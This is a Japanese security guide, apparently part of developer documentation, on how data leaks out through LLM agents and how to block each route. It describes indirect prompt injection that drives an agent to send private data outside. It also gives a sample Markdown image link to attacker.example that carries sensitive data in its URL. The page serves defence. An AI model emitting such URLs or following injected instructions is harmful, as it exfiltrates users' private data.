Skip to Content
Docs06. セキュリティデータ漏えい対策
中級data-exfiltrationprompt-injection更新: 2026-09-10この記事の誤りを報告

この記事の音声は準備中です。

音声の一覧・再生リストへ

データ漏えい対策

この記事の目的

Agent を経由してデータが漏れる経路 — 攻撃による持ち出し(data exfiltration)と、設計不備による事故の両方 — を網羅的に列挙し、経路ごとの遮断を設計できるようになります。核となる判断「致命的三重奏非公開データへのアクセス・信頼できないコンテンツへの接触・外部への送信能力の 3 つが 1 つの Agent に揃うと、データ持ち出しが構造的に可能になるという設計チェックの枠組み。のどれを外すか」を自分のシステムで下せるようになります。

対象読者

  • 非公開データ(社内文書・顧客情報・個人情報)にアクセスする Agent を設計・運用するエンジニア
  • Agent システムの情報漏えいリスクを評価するセキュリティ担当者

前提知識

本文

概要: 漏えいは 2 系統 — 攻撃と事故

Agent 経由のデータ漏えいには、性質の異なる 2 系統があります。

  1. 攻撃による持ち出し — 間接プロンプトインジェクションモデルへの入力に紛れ込ませた指示で、開発者の意図した挙動を上書きする攻撃。ユーザー入力による直接型と、Agent が読む外部コンテンツ経由の間接型がある。で「非公開データを読んで外部に送る」動作を駆動される。致命的三重奏(非公開データへのアクセス + 信頼できないコンテンツ + 外部送信能力)が揃った Agent で構造的に成立します
  2. 事故による混入 — 攻撃がなくても、見せてはいけないデータが応答・ログ・別ユーザーのセッションに混ざる。権限スコープの不備・ログ設計の不備が原因です

対策を「攻撃対策」だけに絞ると事故系が残り、逆も然りです。以下の経路カタログは両方をカバーします。

詳細: 漏えい経路のカタログ

経路何が起きるか主な対策
応答経由ユーザーに見せる権限のないデータが応答に混ざる(事故系の典型)データアクセスのスコープをツール実装側で強制(ツール権限設計とサンドボックス)。応答前の出力フィルタ
送信系ツール経由メール送信・チケット起票・外部 API 呼び出しに機微データを載せて送る(攻撃系の典型)送信先の許可リスト、送信系ツールへの承認ゲート、送信内容の検査
リンク・画像 URL 経由応答中の Markdown 画像・リンクの URL にデータを埋め込みテキストや画像を、意味的な近さが距離に対応する数値ベクトルに変換したもの。RAG・記憶・分類の土台で、「何が近いか」はモデルで変わるため自社データで評価して選ぶ。モデル変更は全チャンクの再インデックスを伴う。、レンダリング・クリック時に攻撃者のサーバーへ送信させる外部画像の自動取得を無効化。取得を許す場合も画像・リンクに送信先制限と URL 内容の検証を適用し、リダイレクトで回避できないようにする
ログ・トレース経由プロンプト・応答の全文ログに含まれる機微データが、広いアクセス権・長い保持期間で漏れるマスキング・保持期間・アクセス制御(可観測性とトレーシング)
メモリAgent が「覚えている」ように見えるデータの総称。短期記憶(コンテキスト)・作業状態・長期記憶(外部ストレージ)の 3 層に分けて設計する。・履歴経由長期メモリ・会話履歴・キャッシュに入った機微データが、別ユーザー・別テナントのセッションに再登場するメモリ・履歴のテナント/ユーザー分離(メモリと状態管理)。共有ストアに書く内容の制限
外部サービス経由LLM API・監視 SaaS・外部 MCPツールやデータソースを LLM アプリケーションに接続するための標準プロトコル。概要は ツール使用、接続の実務は ツール接続標準(MCP とエコシステム) サーバーに送ったデータが、先方の保持・学習・再提供の対象になるベンダーのデータ利用ポリシー確認、送信データの最小化、契約・設定でのオプトアウト

リンク・画像 URL 経由は見落とされやすい古典です。「外部に送信するツールを持っていないから安全」と考えていても、応答に URL を書けること自体が送信チャネルになります(例: ![説明](https://attacker.example/収集?q=<機微データ>) をレンダラーが自動読み込みする)。

画像プロキシだけでは、この経路を閉じられません。 プロキシが同じ path/query を上流へ取得すれば、その中の機微情報は送信先へ届きます。閲覧者の IP を隠す機能と、URL に含まれる情報の送信防止は別です。画像を許す場合は、サーバーが管理する画像 ID から許可済み URL へ解決するなど任意 URL の生成を制限し、許可する送信先・path/query・リダイレクトを取得前に検証します。リダイレクトは無効化するか、遷移先にも同じ検証を適用します(OWASP の SSRF 防止ガイド )。

詳細: 対策の優先順位 — まず三重奏を崩す

経路ごとの個別対策の前に、構造を確認します。Agent の脅威モデル概観 の致命的三重奏 — 非公開データ・信頼できないコンテンツ・外部送信 — のうち、どれか 1 つを経路全体から除けば、その組み合わせによる持ち出しを防げます。ただし「Web ツールを外した」「送信ツールを外した」だけで要素がなくなったと判断せず、入力の出所と、応答表示・ログを含む送信経路を確認します。

外すもの設計例
非公開データその Agent には公開情報しか渡さないWeb リサーチ専用 Agent は社内データに接続しない
信頼できないコンテンツ書き手・取り込み経路・出所を管理し、脅威モデルシステムの攻撃面を棚卸しし、脅威を列挙・分類してリスクを優先順位付けする作業とその成果物。構成変更のたびに見直す。上、攻撃者が内容を変更できない入力だけに限定する管理者が審査した固定データのみで処理する。一般の共有文書・メールまで信頼済みとは扱わない
外部送信送信能力を持たせない、または送信先を許可リストの内部宛先に限定する分析 Agent の出力は社内ストレージのみ。応答の外部 URL を無害化

社内文書 Q&A から Web 閲覧を外すのは攻撃面の縮小です。社内保管の文書にも転記メールや第三者の記述は入りうるため、検索結果は引き続き非信頼のデータとして扱い、命令や権限の根拠にしません(プロンプトインジェクション)。

3 つとも必要な要件(例: 社内データを使って外部に問い合わせメールを書く Agent)の場合は、送信先と内容を提示した実行前承認(Human-in-the-Loop 設計)により、無承認の自動送信を止めます。承認対象外の画像取得などを残せば別経路になるため、すべての送信経路へ制御を適用します。役割分割も、子の要約を信頼済みの命令にせず、親の権限制約と承認を維持して初めて防御に寄与します(コンテキストの圧縮と隔離)。

詳細: 事故系の基本 — 認可はモデルの手前ではなく奥で

事故系の漏えいの多くは、「モデルに渡してから絞ろうとする」設計から生まれます。モデルのコンテキストに入ったデータは、応答に出てくる可能性が常にあります。

  • 認可フィルタは検索・取得ツールの実装側で掛けます。「このユーザーに見せてよいデータだけがモデルに入る」を原則にします
  • 出力フィルタ(機微パターンの検知)は最後の網であり、確率的な対策です。設計の主軸にしません

実務での注意点

アンチパターン

  • 「送信ツールがないから漏えいしない」と判断する → 応答中のリンク・画像 URL が送信チャネルになる → レンダリング側の無害化(外部画像ブロック・ドメイン制限)まで含めて評価する
  • モデルに全データを渡してから「権限外のことは答えないで」と指示する → コンテキストに入ったデータは出力されうる。指示は決定的な制御ではない → 認可をツール実装側で強制し、権限外データをモデルに入れない
  • 三重奏が揃った Agent を「便利だから」と 1 つ作る → 間接インジェクション 1 通で全社データの持ち出しが可能な構造になる → 三重奏のどれかを外すか、役割分割・送信前承認で自動持ち出しを断つ
  • トレース・ログを対策の対象外にする → 本体を固めても、全文ログの広いアクセス権が実質的な漏えい経路になる → ログのマスキング・保持期間・アクセス制御を本体と同じ基準で設計する

チェックリスト

  • 6 つの経路(応答・送信ツール・URL・ログ・メモリ・外部サービス)それぞれの対策を説明できる
  • 致命的三重奏の有無を確認し、「どれを外すか(または送信前承認か)」を明示的に決めた
  • データアクセスの認可がツール実装側で強制されている
  • 外部画像の自動取得を止めたか、画像にも送信先・URL 内容・リダイレクトの検証を適用した(単なるプロキシ化で合格にしていない)
  • 社内文書も出所に応じて非信頼のデータとして扱い、Web 無効化だけで入力の信頼性を保証したと判断していない
  • 送信系ツールに送信先の許可リストと承認ゲートがある
  • メモリ・履歴・キャッシュがテナント/ユーザーで分離されている
  • 利用する外部サービス(LLM API・監視・MCP)のデータ保持・学習ポリシーを確認した

関連トピック

参考資料

TODO・未確認事項

ツール権限設計とサンドボックスガードレール